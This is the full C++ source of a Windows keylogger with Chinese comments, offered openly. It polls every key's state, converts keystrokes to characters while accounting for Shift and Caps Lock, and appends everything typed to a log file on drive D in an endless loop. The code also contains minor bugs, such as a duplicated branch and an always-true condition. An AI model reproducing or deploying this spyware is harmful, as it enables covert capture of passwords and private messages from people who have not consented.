c++键盘记录器代码

#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <iostream>
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
    string KeyString = "";
//判断符号输入
    const int KeyPressMask=0x80000000; //键盘掩码常量
    int iShift=GetKeyState(0x10); //判断Shift键状态
    bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
    if(Key >=186 && Key <=222)
    {
        switch(Key)
        {
            case 186:
                if(IS)
                    KeyString = ":";
                else
                    KeyString = ";";
                break;
            case 187:
                if(IS)
                    KeyString = "+";
                else
                    KeyString = "=";
                break;
            case 188:
                if(IS)
                    KeyString = "<";
                else
                    KeyString = ",";
                break;
            case 189:
                if(IS)
                    KeyString = "_";
                else
                    KeyString = "-";
                break;
            case 190:
                if(IS)
                    KeyString = ">";
                else
                    KeyString = ".";
                break;
            case 191:
                if(IS)
                    KeyString = "?";
                else
                    KeyString = "/";
                break;
            case 192:
                if(IS)
                    KeyString = "~";
                else
                    KeyString = "`";
                break;
            case 219:
                if(IS)
                    KeyString = "{";
                else
                    KeyString = "[";
                break;
            case 220:
                if(IS)
                    KeyString = "|";
                else
                   // KeyString = "\";
                break;
            case 221:
                if(IS)
                    KeyString = "}";
                else
                    KeyString = "]";
                break;
            case 222:
                if(IS)
                    KeyString = '"';
                else
                    KeyString = "'";
                break;
        }
    }
//判断键盘的第一行
    if (Key == VK_ESCAPE) // 退出
        KeyString = "[Esc]";
    else if (Key == VK_F1) // F1至F12
        KeyString = "[F1]";
    else if (Key == VK_F2)
        KeyString = "[F2]";
    else if (Key == VK_F3)
        KeyString = "[F3]";
    else if (Key == VK_F4)
        KeyString = "[F4]";
    else if (Key == VK_F5)
        KeyString = "[F5]";
    else if (Key == VK_F6)
        KeyString = "[F6]";
    else if (Key == VK_F7)
        KeyString = "[F7]";
    else if (Key == VK_F8)
        KeyString = "[F8]";
    else if (Key == VK_F9)
        KeyString = "[F9]";
    else if (Key == VK_F10)
        KeyString = "[F10]";
    else if (Key == VK_F11)
        KeyString = "[F11]";
    else if (Key == VK_F12)
        KeyString = "[F12]";
    else if (Key == VK_SNAPSHOT) // 打印屏幕
        KeyString = "[PrScrn]";
    else if (Key == VK_SCROLL) // 滚动锁定
        KeyString = "[Scroll Lock]";
    else if (Key == VK_PAUSE) // 暂停、中断
        KeyString = "[Pause]";
    else if (Key == VK_CAPITAL) // 大写锁定
        KeyString = "[Caps Lock]";

//-------------------------------------//
//控制键
    else if (Key == 8) //<- 回格键
        KeyString = "[Backspace]";
    else if (Key == VK_RETURN) // 回车键、换行
        KeyString = "[Enter]\n";
    else if (Key == VK_SPACE) // 空格
        KeyString = " ";
//上档键:键盘记录的时候，可以不记录。单独的Shift是不会有任何字符，
//上档键和别的键组合，输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键
KeyString = "[Shift]";
else if (Key == VK_LSHIFT) // 右侧上档键
KeyString = "[SHIFT]";
*/
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
    else if (Key == VK_TAB) // 制表键
        KeyString = "[Tab]";
    else if (Key == VK_LCONTROL) // 左控制键
        KeyString = "[Ctrl]";
    else if (Key == VK_RCONTROL) // 右控制键
        KeyString = "[CTRL]";
    else if (Key == VK_LMENU) // 左换档键
        KeyString = "[Alt]";
    else if (Key == VK_LMENU) // 右换档键
        KeyString = "[ALT]";
    else if (Key == VK_LWIN) // 右 WINDOWS 键
        KeyString = "[Win]";
    else if (Key == VK_RWIN) // 右 WINDOWS 键
        KeyString = "[WIN]";
    else if (Key == VK_APPS) // 键盘上 右键
        KeyString = "右键";
    else if (Key == VK_INSERT) // 插入
        KeyString = "[Insert]";
    else if (Key == VK_DELETE) // 删除
        KeyString = "[Delete]";
    else if (Key == VK_HOME) // 起始
        KeyString = "[Home]";
    else if (Key == VK_END) // 结束
        KeyString = "[End]";
    else if (Key == VK_PRIOR) // 上一页
        KeyString = "[PgUp]";
    else if (Key == VK_NEXT) // 下一页
        KeyString = "[PgDown]";
// 不常用的几个键:一般键盘没有
    else if (Key == VK_CANCEL) // Cancel
        KeyString = "[Cancel]";
    else if (Key == VK_CLEAR) // Clear
        KeyString = "[Clear]";
    else if (Key == VK_SELECT) //Select
        KeyString = "[Select]";
    else if (Key == VK_PRINT) //Print
        KeyString = "[Print]";
    else if (Key == VK_EXECUTE) //Execute
        KeyString = "[Execute]";

//----------------------------------------//
    else if (Key == VK_LEFT) //上、下、左、右键
        KeyString = "[←]";
    else if (Key == VK_RIGHT)
        KeyString = "[→]";
    else if (Key == VK_UP)
        KeyString = "[↑]";
    else if (Key == VK_DOWN)
        KeyString = "[↓]";
    else if (Key == VK_NUMLOCK)//小键盘数码锁定
        KeyString = "[NumLock]";
    else if (Key == VK_ADD) // 加、减、乘、除
        KeyString = "+";
    else if (Key == VK_SUBTRACT)
        KeyString = "-";
    else if (Key == VK_MULTIPLY)
        KeyString = "*";
    else if (Key == VK_DIVIDE)
        KeyString = "/";
    else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
        KeyString = ".";
//小键盘数字键:0-9
    else if (Key == VK_NUMPAD0)
        KeyString = "0";
    else if (Key == VK_NUMPAD1)
        KeyString = "1";
    else if (Key == VK_NUMPAD2)
        KeyString = "2";
    else if (Key == VK_NUMPAD3)
        KeyString = "3";
    else if (Key == VK_NUMPAD4)
        KeyString = "4";
    else if (Key == VK_NUMPAD5)
        KeyString = "5";
    else if (Key == VK_NUMPAD6)
        KeyString = "6";
    else if (Key == VK_NUMPAD7)
        KeyString = "7";
    else if (Key == VK_NUMPAD8)
        KeyString = "8";
    else if (Key == VK_NUMPAD9)
        KeyString = "9";
//-------------------------------------------//

//-------------------------------------------//
//*对字母的大小写进行判断*//
    else if (Key >=97 && Key <= 122) // 字母:a-z
    {
        if (GetKeyState(VK_CAPITAL)) // 大写锁定
        {
            if(IS) //Shift按下:为小写字母
                KeyString = Key;
            else // 只有大写锁定:输出大写字母
                KeyString = Key - 32;
        }
        else// 大写没有锁定
        {
            if(IS) // 按下Shift键: 大写字母
                KeyString = Key - 32;
            else // 没有按Shift键: 小写字母
                KeyString = Key;
        }
    }
    else if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
    {
        if(IS)
        {
            switch(Key)
            {
                case 48: //0
                    KeyString = ")";
                    break;
                case 49://1
                    KeyString = "!";
                    break;
                case 50://2
                    KeyString = "@";
                    break;
                case 51://3
                    KeyString = "#";
                    break;
                case 52://4
                    KeyString = "$";
                    break;
                case 53://5
                    KeyString = "%";
                    break;
                case 54://6
                    KeyString = "^";
                    break;
                case 55://7
                    KeyString = "&";
                    break;
                case 56://8
                    KeyString = "*";
                    break;
                case 57://9
                    KeyString = "(";
                    break;
            }
        }
        else
            KeyString = Key;
    }
    if (Key != VK_LBUTTON || Key != VK_RBUTTON)
    {
        if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z
        {
            if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
            {
                if(IS) // 大写锁定，并且按下上档键:输出为小写字母
                    KeyString = Key + 32;
                else //只有大写锁定:输出为大写字母
                    KeyString = Key;
            }
            else // 大写没有锁定:a-z
            {
                if(IS)
                {
                    KeyString = Key;
                }
                else
                {
                    Key = Key + 32;
                    KeyString = Key;
                }
            }
        }
    }

    return KeyString;
}

int main()
{
    string Filename = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下
    string TempString = "";
    fstream FStream;
    cout<<"现在开始键盘记录";
    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
    while(true)
    {
        Sleep(5);
        for(int i = 8; i <=255; i++)
        {
            if(GetAsyncKeyState(i)&1 ==1)
            {
                TempString = GetKey (i);
                FStream.write(TempString.c_str(), TempString.size());
                FStream.close();
                FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
            }
        }
    }

}

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